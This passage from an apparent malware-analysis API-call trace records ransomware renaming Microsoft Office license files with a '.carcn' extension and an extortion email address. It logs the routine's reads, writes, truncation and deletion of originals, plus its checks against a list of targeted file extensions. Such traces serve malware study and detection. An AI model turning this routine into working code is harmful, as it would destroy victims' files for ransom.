office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0286.910] GetLastError () returned 0x0 [0286.910] ReadFile (in: hFile=0x41c, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x564e, lpOverlapped=0x0) returned 1 [0286.920] WriteFile (in: hFile=0x540, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x5650, lpOverlapped=0x0) returned 1 [0286.922] ReadFile (in: hFile=0x41c, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0286.922] WriteFile (in: hFile=0x540, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x118, lpOverlapped=0x0) returned 1 [0286.922] SetEndOfFile (hFile=0x540) returned 1 [0286.922] CloseHandle (hObject=0x540) returned 1 [0286.922] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.922] SetEndOfFile (hFile=0x41c) returned 1 [0286.926] CloseHandle (hObject=0x41c) returned 1 [0286.926] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0286.927] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms")) returned 1 [0286.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0286.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0286.928] lstrlenW (lpString=".doc") returned 4 [0286.928] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0286.928] lstrlenW (lpString=".docx") returned 5 [0286.928] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0286.928] lstrlenW (lpString=".pdf") returned 4 [0286.928] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0286.928] lstrlenW (lpString=".xls") returned 4 [0286.928] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0286.929] lstrlenW (lpString=".xlsx") returned 5 [0286.929] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0286.929] lstrlenW (lpString=".ppt") returned 4 [0286.929] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0286.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0286.929] lstrlenW (lpString=".zip") returned 4 [0286.929] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0286.929] lstrlenW (lpString=".rar") returned 4 [0286.929] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0286.929] lstrlenW (lpString=".bz2") returned 4 [0286.929] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0286.929] lstrlenW (lpString=".7z") returned 3 [0286.929] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0286.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0286.929] lstrlenW (lpString=".dbf") returned 4 [0286.929] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0286.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0286.929] lstrlenW (lpString=".1cd") returned 4 [0286.929] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0286.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0286.929] lstrlenW (lpString=".jpg") returned 4 [0286.929] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0286.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0286.930] GetFileSizeEx (in: hFile=0x41c, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=11621) returned 1 [0286.930] CloseHandle (hObject=0x41c) returned 1 [0286.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms")) returned 0x220 [0286.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0286.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0286.931] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.931] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0286.933] GetLastError () returned 0x0 [0286.933] ReadFile (in: hFile=0x41c, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x2d65, lpOverlapped=0x0) returned 1 [0286.942] WriteFile (in: hFile=0x540, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0286.943] ReadFile (in: hFile=0x41c, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0286.944] WriteFile (in: hFile=0x540, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x11e, lpOverlapped=0x0) returned 1 [0286.944] SetEndOfFile (hFile=0x540) returned 1 [0286.944] CloseHandle (hObject=0x540) returned 1 [0286.944] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.944] SetEndOfFile (hFile=0x41c) returned 1 [0286.948] CloseHandle (hObject=0x41c) returned 1 [0286.949] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0286.949] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms")) returned 1 [0286.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0286.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0286.950] lstrlenW (lpString=".doc") returned 4 [0286.950] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0286.950] lstrlenW (lpString=".docx") returned 5 [0286.950] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0286.950] lstrlenW (lpString=".pdf") returned 4 [0286.951] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0286.951] lstrlenW (lpString=".xls") returned 4 [0286.951] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0286.951] lstrlenW (lpString=".xlsx") returned 5 [0286.951] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0286.951] lstrlenW (lpString=".ppt") returned 4 [0286.951] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0286.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0286.951] lstrlenW (lpString=".zip") returned 4 [0286.951] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0286.951] lstrlenW (lpString=".rar") returned 4 [0286.951] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0286.951] lstrlenW (lpString=".bz2") returned 4 [0286.951] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0286.951] lstrlenW (lpString=".7z") returned 3 [0286.951] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0286.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0286.951] lstrlenW (lpString=".dbf") returned 4 [0286.951] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0286.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0286.951] lstrlenW (lpString=".1cd") returned 4 [0286.951] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0286.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0286.951] lstrlenW (lpString=".jpg") returned 4 [0286.951] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0286.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0286.953] GetFileSizeEx (in: hFile=0x41c, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=19966) returned 1 [0286.953] CloseHandle (hObject=0x41c) returned 1 [0286.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms")) returned 0x220 [0286.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0286.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0286.954] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.954] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0286.955] GetLastError () returned 0x0 [0286.955] ReadFile (in: hFile=0x41c, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x4dfe, lpOverlapped=0x0) returned 1 [0286.969] WriteFile (in: hFile=0x540, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x4e00, lpOverlapped=0x0) returned 1 [0286.970] ReadFile (in: hFile=0x41c, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0286.970] WriteFile (in: hFile=0x540, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x11e, lpOverlapped=0x0) returned 1 [0286.971] SetEndOfFile (hFile=0x540) returned 1 [0286.971] CloseHandle (hObject=0x540) returned 1 [0286.971] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.971] SetEndOfFile (hFile=0x41c) returned 1 [0286.978] CloseHandle (hObject=0x41c) returned 1 [0286.979] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0286.979] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms")) returned 1 [0286.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0286.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0286.980] lstrlenW (lpString=".doc") returned 4 [0286.980] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0286.980] lstrlenW (lpString=".docx") returned 5 [0286.980] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0286.980] lstrlenW (lpString=".pdf") returned 4 [0286.981] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0286.981] lstrlenW (lpString=".xls") returned 4 [0286.981] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0286.981] lstrlenW (lpString=".xlsx") returned 5 [0286.981] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0286.981] lstrlenW (lpString=".ppt") returned 4 [0286.981] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0286.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0286.981] lstrlenW (lpString=".zip") returned 4 [0286.981] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0286.981] lstrlenW (lpString=".rar") returned 4 [0286.981] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0286.981] lstrlenW (lpString=".bz2") returned 4 [0286.981] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0286.981] lstrlenW (lpString=".7z") returned 3 [0286.981] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0286.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0286.981] lstrlenW (lpString=".dbf") returned 4 [0286.981] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0286.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0286.981] lstrlenW (lpString=".1cd") returned 4 [0286.981] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0286.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87 [0286.982] lstrlenW (lpString=".jpg") returned 4 [0286.982] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0286.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0286.983] GetFileSizeEx (in: hFile=0x41c, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=10655) returned 1 [0286.983] CloseHandle (hObject=0x41c) returned 1 [0286.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms")) returned 0x220 [0286.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0286.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0286.984] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.984] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0286.985] GetLastError () returned 0x0 [0286.985] ReadFile (in: hFile=0x41c, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x299f, lpOverlapped=0x0) returned 1 [0286.989] WriteFile (in: hFile=0x540, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x29a0, lpOverlapped=0x0) returned 1 [0286.990] ReadFile (in: hFile=0x41c, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0286.990] WriteFile (in: hFile=0x540, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x110, lpOverlapped=0x0) returned 1 [0286.990] SetEndOfFile (hFile=0x540) returned 1 [0286.990] CloseHandle (hObject=0x540) returned 1 [0286.991] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.991] SetEndOfFile (hFile=0x41c) returned 1 [0287.007] CloseHandle (hObject=0x41c) returned 1 [0287.007] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0287.008] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms")) returned 1 [0287.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0287.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0287.009] lstrlenW (lpString=".doc") returned 4 [0287.009] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0287.009] lstrlenW (lpString=".docx") returned 5 [0287.009] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0287.009] lstrlenW (lpString=".pdf") returned 4 [0287.009] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0287.009] lstrlenW (lpString=".xls") returned 4 [0287.009] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0287.009] lstrlenW (lpString=".xlsx") returned 5 [0287.009] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0287.009] lstrlenW (lpString=".ppt") returned 4 [0287.009] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0287.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0287.009] lstrlenW (lpString=".zip") returned 4 [0287.009] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0287.009] lstrlenW (lpString=".rar") returned 4 [0287.009] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0287.010] lstrlenW (lpString=".bz2") returned 4 [0287.010] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0287.010] lstrlenW (lpString=".7z") returned 3 [0287.010] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0287.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0287.010] lstrlenW (lpString=".dbf") returned 4 [0287.010] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0287.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0287.010] lstrlenW (lpString=".1cd") returned 4 [0287.010] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0287.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0287.010] lstrlenW (lpString=".jpg") returned 4 [0287.010] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0287.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0287.011] GetFileSizeEx (in: hFile=0x41c, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=22091) returned 1 [0287.011] CloseHandle (hObject=0x41c) returned 1 [0287.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms")) returned 0x220 [0287.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0287.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0287.012] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.012] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 